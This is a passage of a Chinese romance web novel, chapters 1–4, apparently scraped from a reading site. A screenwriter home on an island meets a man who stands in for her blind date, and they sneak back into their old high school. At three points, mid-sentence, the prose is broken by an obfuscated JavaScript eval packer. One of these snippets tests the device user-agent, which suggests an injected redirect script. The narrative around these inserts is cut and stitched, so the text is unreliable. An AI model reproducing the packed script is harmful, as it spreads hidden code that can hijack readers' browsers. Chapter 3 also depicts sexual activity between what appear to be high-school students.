《伯恩斯坦的花》 1. 1 1 海涛打破了清晨的宁静,白色海鸥掠过地平线,被阳光炙烤得微热的海风从大海深处飘来。 天光亮起,熬了一夜的虞汀白面如土色地从电脑前抬起头,困倦地伸了个懒腰,她昨天刚从北京回来,傍晚时分到达,草草地吃了一个饭,和家人寒暄了几句,就开始埋头继续改剧本。 虞汀白是一名小编剧,常年在北京工作,这次是因为好朋友丁念即将结婚,才冒着工作和疫情的双重风险回到老家宁屿。 到家的当夜就马不停蹄地开始赶稿,紧赶慢赶也才精修出两集的剧本。 长途的奔波加上庞大的工作量,实在扛不住了,虞汀白往床上一倒,毫无空隙地昏睡了过去。 …… 再次醒来已是下午,她饥饿难耐,于是蹑手蹑脚地下楼寻找食物。 本来以为这个时间点家里应该已经没有人了,没想到刚到达一楼厨房门口,就听到背后传来一声凉飕飕的:“你还没吃饭?” 是虞学名,她严肃的老爸,最在意她一日三餐是否按时吃饭。 虞汀白之所以轻手轻脚的,就是害怕被他发现。 果不其然,得知虞汀白昨晚又通宵赶稿,今天饿到下午还没吃上一顿饭,虞学名顿时气得脑袋冒烟。 “我看你也不用吃饭算了,你的身体是铁打的,不吃饭也能扛得住,”虞学名一边教训着一边监督着她盛饭的手,只要稍不满意,又开始啰嗦,“盛这么一点,吃什么吃,小鸡啄米啊?” 虞汀白乖乖地又加了一勺,怂怂地捧着碗坐到了餐桌边。 虞学名也跟着往旁边一坐,一边盯着她吃饭一边继续责怪她作息不规律、饮食不健康,熬夜熬得小脸蜡黄:“你看看你这个气色,像什么样子,这是二十几岁的小姑娘应该有的气色吗?” 为了防止虞学名越说越气,虞汀白急忙撒娇打哈哈:“嗯……我气色怎么啦,我觉得挺好呀,你女儿还是很漂亮的。” “漂亮?漂亮就领一个男朋友回来给我看看。” “……” 又开始了,三句不离结婚,虞汀白开始屏蔽外界的一切声音,专心干饭,但虞学名一打开话匣子便停不下来。 “你现在年纪也不小了,再过几年就三十岁了,你现在这叫什么你知道吗,这叫大龄剩女,讲出去很难听的,我跟你妈妈出去头都不好意思抬起来,你外公外婆在你这个年纪,孙女都要抱上了。” “……这就有点夸张了吧。” “还敢顶嘴,”虞学名一个眼刀斜过来,虞汀白立刻噤声,虞学名端起茶缸猛灌了一口,中场休息后继续念叨:“一个女儿常年在外面工作,平时也不回来看我们,也不结婚成家,就那么在北京漂着,我们俩腰板都直不起来!” “……这有什么直不起来的。”虞汀白听着,蹙了蹙眉。 “怎么直得起来啊,哪家小孩快三十岁了还不结婚,别人会以为你有问题知不知道……” “二十七,周岁……”虞汀白小声嘟囔。 “啊,你也知道三十岁说不出口啊?那你还不珍惜最后一点时间,赶快在三十岁之前找到男朋友嫁了?” “知道了,我工作忙嘛……” “我知道你忙,所以我和你妈妈在外面求这个求那个地拜托人家帮忙介绍,现在三十多岁还单身条件好的男的不好找了,这次回来,你就踏踏实实给我去相亲,尽快把终身大事定下来!” “可是……” “你又想找什么借口?”虞学名瞪眼威胁。 “……”虞汀白昨晚刚熬了夜,自知刚背上一个“不爱惜身体”的罪名,不想触他眉头,只好敷衍应道,“好好好,听你的,这次是什么人?” 见她松口,虞学名面色缓和,带着点愉快地掏出手机,然后又从前襟口袋里掏出老花镜戴上,隔着老远划拉手机屏幕:“前两天你妈妈去帮人念经超度,在佛堂认识了一个佛友,叫什么来着,反正姓陈,我看着人挺不错的,现在找男的,不要看人家的背景条件,就要找人好的,尤其是要父母品德好的,看父母就能看出孩子是什么成色。” 去参加个葬礼都能给她扒拉出一个年轻男人,虞汀白佩服:“所以是谁呢?” “哦她有一个儿子还没结婚,听说那个小伙子以前也是你们高中的,跟你好像是同一届,这个学历你应该不会看不上了吧,别又跟我说什么没有共同语言,同乡同校,肯定不差。” 虞汀白舀一口汤,敷衍问道:“叫什么名字?” “叫……”虞学名划拉屏幕,终于找到,“叫张运恒,你听说过没?” 虞汀白摇头。 “没有也正常,你们学校一届好几百人,人家专心学习呢,哪像你天天闹腾得全校闻名。” 虞汀白无语:“……我那叫校园积极分子。” “嚯,积极得我和你老妈天天被老师请到办公室的积极分子?” 又是夸张修饰…… “……那我不也是考上了北京,上了我们学校的光荣榜嘛?” 虞学名最懂他这个女儿,一路靠着小聪明混过来,惯得她骄傲得很。 “你啊,谦虚点,”再和风细雨地问,“今天下午三点去见一面,怎么样?” “今天下午?!这么赶?” “哪里赶啦,早就跟人家定好了,是你回来就赶着工作,然后就睡大觉,也不给我和你妈妈交流的时间,那我们跟人家定好的时间也不好改来改去啊。” 虞汀白不说话。 “怎么样,待会儿去一趟?”这会儿换虞学名卑微,他小心试探,“不远嘛,就在海街旁边的甜水店,骑个电动车过去只要五分钟。” 顿了顿,又补充,“我可以送你过去。” “骑着我那辆小电动车啊?” 虞汀白有一辆鹅黄色的公主款电动车,陪伴她度过了三年的高中时光。 高考时,虞学名不放心她独自去考试,又担心她坐公交车被其他人影响心情,于是一个五大三粗的老男人就骑着那么一辆公主款电动车接送她上下考场,场面滑稽得很。 “昂,那个车可耐用了,我现在还会偶尔骑着它去菜市场买菜呢。” 虞学名又问了一遍,“下午三点,没问题吧?” 虞汀白已经在虞学名和妈妈杨艺清的安排下参加过无数次相亲,但每次相亲的男方最后都会被她以各种理由pass掉,估摸着这次也不会例外,她不想再让虞学名为此念叨,于是勉强应了下来。 反正相个亲而已,半个小时就搞定的事,不会占用她太多写稿时间。 * 化了个淡妆遮遮黑眼圈,换一身适合海边小镇的吊带上衣和短裤,准备出门。 临出门前想了想,虞汀白还是带上了电脑——不愿意浪费任何一点工作时间。 宁屿是一座坐落于东南沿海的小岛,这里有宜人的气候,绵长的海岸线,闲时海边听涛,自由散漫,忙时紧锣密鼓地工作赚钱,也别有一番热闹滋味。 虞汀白按照虞学名的要求来到海街,大人们约好的那间甜水店。 甜水店是新装修的,马卡龙用色,色彩鲜艳活泼,甜腻轻快,符合时下年轻人的审美。 这几年,宁屿岛的旅游业逐渐发展起来,越来越多年轻人慕名前来游览观光,体验海岛生活,宁屿也一改从前闭塞不通、偏僻落后的风貌,变成了时髦和小资的代名词。 隔着甜水店的落地玻璃,可以看到街对面就是一片大海,沙滩上坐满了露营休息的人。 安逸的小镇有着舒缓的生活节奏,但它不属于虞汀白这种每天紧锣密鼓007的首都社畜。 等了二十多分钟,原定的相亲对象还没来,虞汀白逐渐感到烦躁,她现在手上有一个待改的剧本项目,这两天就得交稿,拖不得。 可如果没见到人就走了,被虞学名耳提面命不说,还得浪费时间再约一次。 想来想去,虞汀白拿出电脑在甜水店里赶稿,这样一边等一边写稿,不浪费一点时间。 * 近海,一艘游艇漂浮在海面上,游艇上传来动感的音乐和男女的嬉笑声。 谈显坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谈显皮肤白,两颊被太阳晒久了有些发红,他拿手挡在脸上,懒洋洋地说:“那你就别去了。” “我是不想去啊!”说话间,张女士的夺命连环call又打进来,张运恒头疼地接起来,刚才那副豪横的老板架势消失,立刻换成点头哈腰乖巧小狗样儿,任由对面教训。 隔着不近的距离,谈显都能听见张阿姨的大嗓门。不愧是靠着一个小摊车把张运恒独自拉扯大的女中豪杰。 挂了电话,张运恒一脸霉相,开始考虑现在调头返程会不会得罪船舱里玩得正酣的生意伙伴,眼珠子滴溜溜转,转到谈显身上,忽而灵机一动:“我有一个办法。” 谈显有不好的预感:“你最好还是别有了。”说着,把墨镜往脸上扣好,准备装死。 张运恒自顾自说:“我觉得,你可以替我去。” 谈显抱手不答话,一副已经入定的模样。 张运恒开始装可怜:“哎你也知道我妈拉扯我不容易,我好不容易帮她把生意做大,从一个小摊车变成这么一个连锁餐饮店,我们吃了多少苦呀,你就算不心疼她也该心疼心疼你兄弟我呀,这里面的客人我真的不能得罪呀。好兄弟,拜托了你嘛。”卖惨到后面,开始发嗲求人。 谈显被肉麻得一激灵,依然很冷酷:“你想得美。” “你说你这人,心怎么那么狠呐,我可是你最好的朋友!” 谈显自墨镜里斜出一道视线,张运恒从善如流地改口:“我可是你最好的朋友,之一!你忍心见死不救吗?” “你之前又不是没爽过约。” “这回不一样。” “哪里不一样?” “说是北京回来的大编剧,人家行程忙,好不容易能见上一回,必须让我去。” 听到前几个字,谈显眼波微动了一下,随后不禁哂笑自己太敏感:“成功人士啊,那你是得给人家一点尊重。” “之前连续放了几回鸽子,这次再不给张女士点甜头尝尝,怕是要被她逐出家门了。” 说话间,张女士把对方的基本资料转发了过来,张运恒念着,“27岁,北京电影学院毕业,目前就职于北京万象影视公司,女方姓名,虞汀白……这名字听着怎么有点耳熟,职位编剧……” 张运恒碎碎念着,没有察觉身旁的谈显在听到名字的那一刻就定住了身形。 …… 二十分钟后,阳光满溢的海街路口,谈显姗姗来迟,出现在了甜水店门口。 2. 2 2 虞汀白坐在玻璃墙边,白白瘦瘦的,鹅黄色的细吊带勒在薄薄的肩胛骨上,雪白的皮肤在蓬松漆黑的长卷发间若隐若现。 从进来开始,她就一直在忙碌工作,即使侧着头用吸管喝饮料的时候,眼睛也一刻不停地定在电脑屏幕上。 这副过分专注的模样,使她与这座悠闲轻松的小岛格格不入。 感觉到有人在看自己,虞汀白下意识向外望去,却是什么也没发现。 她看了一眼时间,已经一个多小时过去了,张运恒还没来。 这人也太没有时间观念了吧。是不小心迟到了,还是故意放她鸽子? 难道也是一个被逼无奈才来相亲的? 虞汀白强迫自己静下心改稿,可总觉得有人在看着自己,她环顾四周,大家都在做自己的事,又觉得是自己想太多。 一定是环境太嘈杂才静不下改稿。 思忖片刻,虞汀白决定收拾东西走人,反正这回不是她失约,虞学名怎么也怪不到她头上。 出了甜水店,海街的另一边是一道漫长的海岸线和闻名小岛的长尾沙滩。 长尾沙滩是小岛居民的饭后休闲之地,以白色的细沙和玫瑰色的落日出名。 现在这个时间,正是长尾沙滩热闹的时候,海滩上布满放松的闲人,五颜六色的帐篷大片地绽放在白色海滩上。虞汀白被这般景象吸引,忍不住走了过去。 沿着海岸线慢慢散步,这是在冰冷的钢筋水泥世界看不到的生活图景。海风温柔地拨弄着她的头发,将她胸口的闷意与肩上卸不下来的紧迫感慢慢吹散。 在北京的很多瞬间,在每个痛苦写稿的夜晚,她不止一次地想念过这里。 手机突然响了一声,是一条微信消息的提醒。 老板在询问她的赶稿进度。 好想骂人。 但没有底气骂人。 虞汀白咬咬牙,非常卑微地回复了一句“尽快”、“马上”,再加上了一个卖萌的表情包。 好标准的现代狗腿奴才。她自己都想唾弃自己,虞汀白撇撇嘴,提着电脑开始四处张望寻找一个可以打开电脑写稿的地方。 谈显再度找到虞汀白的时候,已经是两个小时后,就见观景台阶的扶手边靠着一个熟睡的漂亮女人。 她腿上架着笔记本电脑,脑袋靠着栏杆,在暴晒的阳光下睡得安逸还会咂咂嘴,谈显双手插兜,逆着光站在她下方的一级台阶打量着她,也顺便帮她挡住了炙热的阳光。 睡得熟了,虞汀白身体不自觉地往前倾倒,谈显抬手按着她的肩膀将她扶住,手指直接接触在她光裸的皮肤上,晒太阳太久,也不知道是她的皮肤在发热,还是他的手指在发热。 紧接着电脑又顺着她的腿面向下脱滑,他连忙又腾出一手帮她扶住电脑。 好狼狈的重逢,但想想又觉得合理,谈显无奈地笑了一下。 …… 不知过了多久,虞汀白被一阵凉风吹得一个激灵醒了过来。 鼻尖传来淡淡的安息香,脸颊蹭在温热的棉质布料上,她发现自己竟然靠在一个陌生男人的肩头,自己的电脑也被男人妥帖地放在他的腿上。 “醒了?”男人声音干净透澈,带点很淡的鼻音,有点像感冒。 虞汀白心颤了一下,才尴尬地坐正身体:“不好意思啊……”抬头看向对方,喉咙再次不受控制地卡顿了一下。 男人生得很英俊,有一双细长的眼睛,薄薄的内双,瞳色浅淡,令她想起了此刻长尾沙滩上大片雪白而明亮的细沙。 “不好意思。”她再次道歉,想了想,又觉得这时候应该感谢,连忙又忙不迭地感谢。 “没事。”男人笑了一声,笑意低沉,令虞汀白的脸又开始发烫。 此刻,夕阳已经开始落幕,大片玫瑰色霞光从天际线弥漫过来,染在他们的身上。 这本应该是一场浪漫的邂逅,可场面怎么想都有点滑稽。 虞汀白尴尬地想要逃离:“对不起,我还有事,我先走了。” 男人没有说话,只是从容欣赏着她的慌张和窘迫。虞汀白起身理了理衣服,捏着手机快步上了楼梯,顺便低头看了一眼时间。 屏幕显示好几条未接电话,还有一条陌生号码的短信:抱歉,我迟到了,你现在在哪? 应该是张运恒的短信。 虞汀白犹豫了一下,还是看在对方打了好几通陌生电话的份上回拨了过去。 与此同时,背后传来一串铃声,是清凌凌的雨水声。除了她,还有谁会用雨水声当手机铃声?虞汀白疑惑地,刚要回头,手机那端被接通。 “喂?是张运恒吗?”虞汀白忐忑地问。 “你好。”听筒与身后传来同一道澄澈的嗓音,仿佛异时空接通,两条漫长的时间轴终于在某一点交汇,男人的声音来自遥远的时间之外,却又近在身后,只是她不曾看见。 虞汀白猛地回头,看见英俊的男人站在台阶下方,手持着手机贴在耳边,浪漫的玫瑰色落日罩在他的身上,他身形高大修长,仰头凝望着她,瞳色清浅,嘴角是淡淡的笑意。 “你就是……张运恒?”虞汀白惊讶。 谈显握着手机,拾级向上,目光始终笼罩在她的身上,虞汀白莫名紧张,心脏怦怦而跳,直到他稳健地停在了她面前,看见他扬下了眉:“对不起,下午我迟到了。” 虞汀白舔了舔被夕阳晒得发干的嘴唇,觉得对方好看得过分有压迫感,起码挤压得她这一片氧气都变得稀薄了。 谈显接着说:“我可以给你补一场约会吗?” 她一怔,心动的同时也有些犹豫,现在这状况已经超出了她的预期,无论是对张运恒的预期,还是对工作安排的预期。 “可是,我还有工作,我下午已经等了你很久……”虞汀白为难地说。 “对不起。”他再度道歉,截断了她的推拒。 虞汀白抿着唇,没有说话。双向的沉默中,谈显忽然坦诚道:“其实,我下午很犹豫要不要来见你。” 果然和她猜的一样,他也是被家人逼来的。 虞汀白疑惑:“那你现在还约我?” 谈显笑了一下:“嗯,在看到你之后,我改变了主意。” 心像被人戳了一下,微微颤抖着,虞汀白不知如何招架,张着嘴呆立在那里,心尖酥麻。 谈显再问:“你晚上有时间吗。” 虞汀白负隅顽抗:“我工作很忙的……” “看出来了,相亲还要带电脑,不愧是北京回来的。”他揶揄。 虞汀白感觉被调侃了,羞赧地回嘴:“相亲还迟到了两个小时,张老板也不赖。” 谈显好笑地点了点头,好像在对她的话表示肯定,然后才示意自己手中的东西:“不知道你有没有发现,你的电脑还在我手上。” 她这才发现自己刚才逃离得匆忙,忘记了向对方要回电脑。 所以即使刚才她没有回拨电话,他们还是会再见面。这人是不是在她转身逃跑的时候就已经预料到了后情。 虞汀白假作相信:“你打算用电脑威胁我?” 谈显跟着调侃:“嗯,我诡计多端。” “看来我只能答应你了。” 虞汀白一笑,明媚的杏眼弯起来,衬得玫瑰色的夕阳愈发美好迷人。 长尾沙滩清甜的海风恰好拂在了他们身上。 * 正是晚餐时间,商议过后,虞汀白决定跟着谈显去吃晚饭。 看到硕大的“运恒大排档”五个字,虞汀白更加确信对方就是张运恒。 因着疫情的缘故,岛上许多餐饮店都歇业了,运恒大排档也不例外,因此店里空荡无人。 谈显客气地将菜单递到虞汀白面前:“想吃什么?”边问边细致地挽起衬衫袖子,露出了紧实的小臂。 虞汀白环顾四周,店里既没有服务生也没有厨师,谁下厨? 这样疑惑着,就见谈显绕到了厨房后面,虞汀白拿着菜单跟上去:“你做晚饭?” “嗯。” “会不会太麻烦了,要不我们去外面吃?”让老板亲自下厨,她受宠若惊。 “不麻烦,我在给自己增加筹码。” “什么筹码?” “让你原谅的筹码。” “……其实我没有很生气。” 谈显看了她片刻,耸了耸肩:“看来还是有一点生气。” 虞汀白解释:“你迟到那么久……我工作很忙的嘛,能抽出点时间不容易的……” “嗯,”谈显若有所思,“所以我更要珍惜今晚的约会时间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊,我们之间这么快就可以用爱情来定义了吗,果然很速食。” 虞汀白眼珠子转到别处,拣起一块生蚝:“唔,你这手艺不错,难怪排档生意这么好。” “你在北京应该什么都吃过了吧。” “每天都吃外卖,”虞汀白光是想想就皱了眉头,“特别特别难吃。” “听起来你很嫌弃北京。” “是的,超级嫌弃。” 北京是一座很难有幸福感的城市,灰色的街道,冰冷的CBD,行色匆匆的人,永远拥挤的地铁,被工作和加班塞满的日常生活,还有极其难吃的预制菜外卖。 谈显:“这么嫌弃,为什么还要留在北京。” 虞汀白:“因为只有在北京,我才能做我想做的事。” 回了宁屿,就得每天面对七大姑八大姨的催婚,接受女人比男人弱势的规训,还要为了家庭不断牺牲自我价值,让渡自己的人生空间。 谈显安静地听着,没有反驳。 “是不是不想听失败职场人对生活的苦闷,”虞汀白善解人意地说,“回去你就告诉你家人,我很好,你也很好,这样防止我们俩任何一方被责难,只是呢我们不合适,所以……” “谁说我们不合适?” 虞汀白一愣,目光在谈显面上流转,却看不出所以然,谈显坦然迎接着她的审视。 “难道我们合适?我在北京,你在宁屿,我们首先在生活城市上就不合适。” 虞汀白诚实直白地说,没有注意到谈显的眼眸黯然了一瞬,又归于平静。 谈显:“我也没说过要和你在一起。” 虞汀白有点不解,这人到底想怎么样? 谈显:“你好像很想把这场相亲搞砸。” 不想肯定,也不想否定,虞汀白缓慢回答:“很明显吗?” “嗯。” 短促的音节。 虞汀白:“……你不高兴了?” 谈显沉默几秒,依然是笑着,但话却是肯定:“有点。” 他的态度令人捉摸不透,虞汀白一时不知该如何回答,无意识地摸了摸杯壁,刚从冰箱里取出来的饮料还带着夏日的凉意。 谈显说:“我没有想过今晚之后的事,但起码现在,在我们相处的这几个小时里,我希望你不是抱着摆着交差的态度来和我约会。” 虞汀白反问:“难道你约我不是为了交差?” 谈显:“我不是。” 那是什么? 沉默几秒,虞汀白没有选择追问,而是放下筷子,郑重地望住谈显,身体不自觉地向他前倾,“OK,刚才是我失礼,接下来我会好好配合你的安排。” 3. 3 3 谈显被虞汀白这样盯着,丝毫没有害羞或退却,反倒笑着双臂撑在桌上,从容而好奇地迎上来:“你和男朋友约会都喜欢做些什么?” 虞汀白:“我没有男朋友。” 谈显:“有也没关系,我没有道德枷锁。” 这人,总让她不知如何接话。 * 因为疫情,岛上大部分娱乐场所都被迫暂停营业,所以那些往常的约会项目都行不通,虞汀白想不出对方能带她做些什么。 “听阿姨说,你是南浦一中的?” 南浦一中是本地最好的中学,南浦一中的学生身上都有种不同于其他学校的气质,彼此之间很容易辨别出来,虞汀白问:“你也是南浦一中的吧?” “嗯,想回去看看吗?” “现在?”虞汀白诧异,但很快兴奋起来,南浦一中装着她许多重要的回忆,也是她失败人生中最灿烂的一段日子,“去!” 南浦一中在本岛,需先搭乘轮渡登岛再换乘公交,事不宜迟,二人即刻就出发。 三十分钟后,他们就站在了南浦一中的学校门口。 现在是晚自习时间,机械大门留了条缝,零星有几个迟到的学生匆匆往里跑。 谈显和虞汀白既没穿校服,又没带铭牌,一看就不是学生,不能进校。 虞汀白记得她上学的时候还没有管得这么严的。 虞汀白问谈显接下来怎么办。 她其实知道有个地方可以翻墙进去,以前上学的时候她没少翻墙逃课。 “跟我来。”谈显把虞汀白带到了学校自行车停车场的围墙外。 虞汀白有些惊讶,没想到他也知道自己的秘密出口:“这么熟练,上学时候没少逃课吧?” “我不逃课,”谈显笑了笑,“我是因为别人知道这个地方的。” 虞汀白望了望空荡荡的四周:“这儿的树呢?” 她记得以前这里有一棵很粗壮的大树,那是她翻墙的帮手。 谈显双手交叠,示意她踩上去:“我帮你上去。” 虞汀白不放心:“……你确定?我有九十斤呢。” 谈显:“摔伤了你负责医药费。” 虞汀白嗔他一眼,单脚踩上他掌心,感受到结实可靠的支撑力,被谈显往上抬起的同时,另一只脚用力一蹬,身体轻盈地跃起,双手一下子扒住了墙头。 一看就是老逃课人了。 在谈显的帮助下,虞汀白成功翻了过去。 然而二人刚落地,就被一名巡逻的保安发现。 “你们哪个班的!”一束灯光打过来,保安指着他们俩追了过来。 “快跑!”虞汀白经验丰富反应迅速,牵起谈显就跑。 熟悉的校园,香樟树的味道扑面而来,虞汀白熟门熟路地将谈显带进了停车场左手边的德育楼。 这栋楼是供学生们组织校园活动时使用的,聚集了学校里最活跃的那一批人,每天都格外热闹。 但现在时间不早,大部分教室已经关灯,虞汀白凭着记忆拉着谈显一股脑儿的往上跑,楼下的保安急追不舍,眼见着就要跟着他们上了三楼,怎么办,还要继续往上?虞汀白正没有主意的时候,只听身后一声低沉的“来这边”,她就被谈显反牵着转进了三层的楼道。 几米外的教室传来悠扬的乐曲《蓝色的多瑙河》,微黄的光线窗户满溢到楼道里。 南浦一中每年都会举办成人礼,高二的学生们会提前学习华尔兹,到时候在成人礼上与搭档共同完成舞蹈。 显然这段音乐激起了他们共同的回忆,谈显忽而回头,眼神亮晶晶地问着虞汀白:“想跳华尔兹吗?” 看着教室里年轻稚嫩的学生们一本正经地练习舞蹈,虞汀白有些跃跃欲试,又有些害羞。 “会不会被发现?” “老师不在。” 话音刚落,就听到楼梯间传来保安的脚步声,二人闻言对视一眼,谈显拉起虞汀白的手:“现在可由不得你做决定了。” 说着,他拉着她的手从后门进入教室,轻松地混进了学生中。 拥挤的人群中,他们面对着彼此。 虞汀白:“我、我已经不记得舞步了……” 他的手臂环过她的腰肢,单薄的吊带衫不隔热,温热的触感几乎可以透过衣服传递过来。 她越发紧张,慌乱中踩到他的脚背。 脸色更红,窘迫地抬头去瞧他,却见他说着没关系,一边游刃有余地牵引着她的动作……她随着他的动线摇摆身体,然而她一个向前,二人又迎面撞在了一起,虞汀白的额头重重地磕在了谈显的唇上。 柔软的触感,虞汀白感觉自己的额头和脸蛋都烧了起来。 谈显夸张地嘶了一声:“迟到的事现在还没有消气吗?” 虞汀白懊恼之余也笑了起来,小声怪他:“……谁叫你拉我进来跳舞!” 谈显:“我以为你还记得怎么跳。” 虞汀白上一次跳华尔兹可以追溯到九年前,也是在南浦一中的成人礼上。 “谁会记得九年前的事?” 虞汀白一边小声回嘴,一边低头看脚,努力不踩到谈显。 谈显:“我啊。” 谈显说:“你会忘了是因为你觉得不重要。” 虞汀白无暇思考谈显的言外之意,因为她又一次粗心地踩到了谈显的脚背:“……我真是太笨了。” 她懊恼,“我以前明明跳得蛮好的。” “没关系,我很开心。”谈显抬高手臂,牵引着虞汀白转了一圈,黑色长发在空中飞旋而过传来淡淡的椰香。她就像一朵花,在他怀中盛放。 虞汀白的心情也随之舒展,然而下一秒谈显忽然压着她的腰肢拉近了彼此的距离,虞汀白有些懵,只觉得他的呼吸拂过自己的耳垂,痒痒的。 谈显问:“带发绳了吗?” “没带……”虞汀白抬眼去瞧他,只见他直直地盯着窗外,她反应过来,“保安来了?” 教室里的女学生们都梳着整齐的马尾,只有虞汀白披散着一头长卷发,光是背影就够显眼,何况身前还有一个高大显眼的谈显。 他们从后门溜进来时就有不少女学生好奇地偷瞄他们,尤其是偷瞄谈显。 “怎么办……”虞汀白犹疑着,忽然发现谈显手腕上的珠串,“借你的佛珠用一下?” “这可是普陀山求的。”虽然不知道她的用意,他还是将手腕递过去,示意她自取。 这是个有些亲密的举动,虞汀白愣了一下,用食指将佛珠从他腕间勾了下来,指腹擦过他跳动的脉搏。 谈显感觉手腕皮肤痒痒的。 很难说,究竟是谁在勾引谁。 虞汀白取下佛珠后,非常地利落地把头发扎起来,露出了一截纤细白皙的脖颈和平直的锁骨。 虽然从后面看起来像一个女学生了,但从正面看,没有了长发的遮挡,裸/露的面积更大了,谈显不着痕迹地将视线移开。 虞汀白重新搭住了谈显的手和肩,紧张地小声问:“他走了吗?” “他走了,”谈显顿了顿,露出一丝无奈的笑,“但是,舞蹈老师回来了……” “???” 不会这么倒霉吧……虞汀白借由转身的舞蹈动作偷偷往台前瞧去,没想到却和刚回到屋里的舞蹈老师撞了个正着。 就见舞蹈老师盯了他们俩片刻,毫不犹豫地朝他们走了过来。 虞汀白被谈显带着重新旋转回去,二人的视线默契地对上,下一秒,谈显就牵起虞汀白的手义无反顾地从后门逃了出去。 把身后老师的喊声甩得很远,风从耳边刮过,扬起了她的头发,她很久没有这样恣意放纵过了,他们好像一对逃亡的爱侣,虞汀白沉浸在这片刻的错觉中,被谈显带着在长长的、寂静的走廊狂跑起来。 虞汀白从小就是家中最离经叛道的小孩,在姐姐风风光光考上编制的时候,她被当成逃课典型请了家长; 在哥哥成为优秀校友被学校请回来开讲座的时候,她和宋方晏的早恋闹到了全校皆知的地步; 在所有亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时外面又响起女生的呻吟:“……摸摸我……啊……” 恰好此时谈显伸手过来帮她揉了揉膝盖。 虞汀白感受着谈显温热的触感,极力保持淡定。 “啊……”伴随着桌椅的碰撞,女生一边呻|吟着一边被男生压在了桌子上。 外面的声音逐渐变得放浪不堪起来。 虞汀白错开视线,不敢再看谈显。 面前忽然覆上来一道阴影,安息香味也变得浓重,虞汀白因谈显的突然靠近不知所措,紧接着便感觉到一只手将耳机插进了自己的耳朵里。 悠扬的音乐声如潮水般覆盖了男女的缠绵声。 心跳却更加强烈,虞汀白抬眸看向谈显: “Thisgirlissobeautiful Softlipsofanangel Oh,terrific,shereallymeltsmyheart ifweneverwakeup我想牵你的手 ifweneverwakeup缠/绵彼此占有 ifweneverwakeup亲/吻你的额头 wedon’twantwakeup沉沦浩瀚宇宙” 谈显在昏暗的光线下望着她,那目光晦暗不明。 “nanana从日出天晴到乌云 或是电闪雷鸣 在我的身旁总是有你拉上窗帘 近距离听你的呼吸声 在我的耳畔响起 散出了暧/昧气息 加速呼吸心跳频率 只为你youknowIwantyoubaby” 虞汀白心绪纷乱,他们在闷窒昏暗的空间里听同一首歌,仿佛共有了一段不可告人的秘密。 4. 4 4 一个小时后,年轻气盛的小情侣终于缠绵够了,在晚自习即将结束的时候离开了“犯罪现场”,虞汀白和谈显从闷窒的讲台桌底下爬出来,后背黏连着微潮的汗,二人都毫不掩饰地松了一口气,他们对视一眼,都为这狼狈又荒唐的意外闹剧笑了。 谈显看了一眼手机,几分钟后就是晚自习下课的时间,到时候学校里会涌满了人,他们更无路可逃:“我们走吧?” 虞汀白靠在窗户露出的缝隙边,夜风从外面吹进来,《蓝色多瑙河》的声音时断时续,她恋恋不舍地说:“好吧。” 话是这么说,可身体没有动,谈显于是等着虞汀白,没有再催促她。 他们在昏暗的教室里坐了一会儿,等到铃声刺耳地响起,原本安静的校园响起了人潮涌动的吵闹声,虞汀白才惊觉该离开了。 学校里都是背着书包的、穿着校服的少男少女,他们俩气质成熟,又没有穿校服,在学生堆中格外显眼。 经过学校大门的时候,虞汀白一眼就看见了刚才追着他们的保安,吓得忙捂住脸侧过了头,见谈显还是气定神闲,拽了拽他手臂,示意他小心那个保安。 谈显顺着看向那边,刚好和保安对上了眼,保安眉头一皱,觉得这两个人好像在哪里见过,刚要过来问个清楚,有个女生和同学打打闹闹后背不小心撞上了谈显,一回头看到谈显那张帅得极具冲击力的脸,当即红了脸磕磕巴巴地喊:“老师好!” 态度恭敬,声音洪亮,谈显气定神闲地应了一声,那边的保安听到了这动静,摸摸脑袋以为是自己误会了,没有再走过来。 谈显温和提醒:“走路小心。” “是!”女生羞恼地躲回同学那里,几个小女生打闹着小声议论着“好帅的老师”、“是不是新老师”、“以前从来没见过”……边说边偷瞄着谈显和他身边的虞汀白。 虞汀白目睹一切,就这么堂而皇之、顺理成章地和谈显走出了学校大门。 察觉到身边的这道视线,谈显侧头瞧过来,眉微扬,在问怎么了。 没什么,虞汀白摇摇头,这男人,不简单啊。 * 出了学校,就是一条大街。原本安静的街道因为学生们的涌入转瞬热闹了起来。 顺着人流继续向前走,一路都是小吃摊和文具店,虽然因为疫情的缘故美食街不能堂食,但外卖员仍然络绎不绝,整条街依然灯火通明。 虞汀白和谈显走出最热闹的包围圈,逐渐逛到了海滩附近——宁屿被海包围,走几步就能看见沙滩。 隔着不远的距离,能听到海滩上的嬉闹声和音乐声。 路边停靠着一排高大的SUV,后备厢个个开着,可以看到里面摆放了很多酒,电灯和音响也从后备厢里拉出来,另一端架在天幕上,天幕下摆放着折叠桌椅,年轻男女们坐在其中喝酒,调情,享受着海风。 有一个年轻女人看见他们,热情地招呼他们过去。 年轻女人穿着粉紫色的挂脖抹胸上衣,露出了小巧的肚脐,下身是一条不规则拼接短裙,全身上下的布料加起来还没有虞汀白的包足,性感又时尚。 她手臂上挂着一堆叮铃铃的挂饰,撑在后备厢旁,化了浓妆的眼睛像有一把小钩子似的钩在谈显身上:“清酒,罗斯福,艾丁格……还有我们家自己酿的梅子酒,你们想喝什么?” 谈显面对这种似有若无的勾引早就习以为常,他没有接招,侧头去看对他和年轻女人之间的暗流毫无察觉的虞汀白,她正在专心地低头寻找酒单。 “我们这里没有酒单,”年轻女人也顺着去看虞汀白,态度还算友好地向她解释,“我只是出来和大家分享藏酒的,车上的酒水全部免费。” “免费?”虞汀白惊讶。 女人向她解释,疫情刚来的时候,岛上的娱乐场所被迫停业,宁屿曾萧条了一阵子,后来一些年轻人受不了这种寡淡的生活,自发开车到海边聚集喝酒,渐渐地在海滩边形成了互助饮酒、自娱自乐的风潮。 “果然没有什么困难能够打败向往自由和快乐的小岛居民。”虞汀白感叹。 